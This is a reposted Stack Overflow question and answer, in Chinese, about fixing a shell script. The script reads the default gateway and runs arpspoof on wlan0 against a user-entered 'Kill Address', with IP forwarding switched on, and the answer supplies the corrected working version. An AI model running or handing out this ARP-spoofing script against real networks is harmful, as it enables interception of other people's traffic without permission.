gpt4 book ai didi

linux - 将一个字符串与另一个字符串的输出一起使用 - 在 Shell 脚本中

转载 作者:塔克拉玛干 更新时间:2023-11-02 23:55:35 25 4
gpt4 key购买 nike

此脚本有效,但我想删除输入默认网关的需要。

read -p "Gateway address: " gtw
echo "$yip"
read -p "Target IP Address: " tip
echo "$tip"
arpspoof -i "wlan0" "$gtw" -t "$tip"

我试过使用字符串(我认为它叫做 sting。-> 顶行),但我不能正确地使用它。我花了几个小时寻找其他帖子,但我不确定如何调用它。这只是我编写的第二个脚本。

gtw=$(route -n|grep ^0.0.0.0|cut -d' ' -f 10)
read -p "Kill Address: " tip
echo "$tip"
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i "wlan0" "gtw" -t "$tip"

最佳答案

缺少$

gtw=$(route -n|grep ^0.0.0.0|cut -d' ' -f 10)
read -p "Kill Address: " tip
echo "$tip"
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i "wlan0" "$gtw" -t "$tip"

或者直接在命令中包含它

read -p "Kill Address: " tip
echo "$tip"
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i "wlan0" $(route -n|grep ^0.0.0.0|cut -d' ' -f 10) -t "$tip"

关于linux - 将一个字符串与另一个字符串的输出一起使用 - 在 Shell 脚本中,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/19885670/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com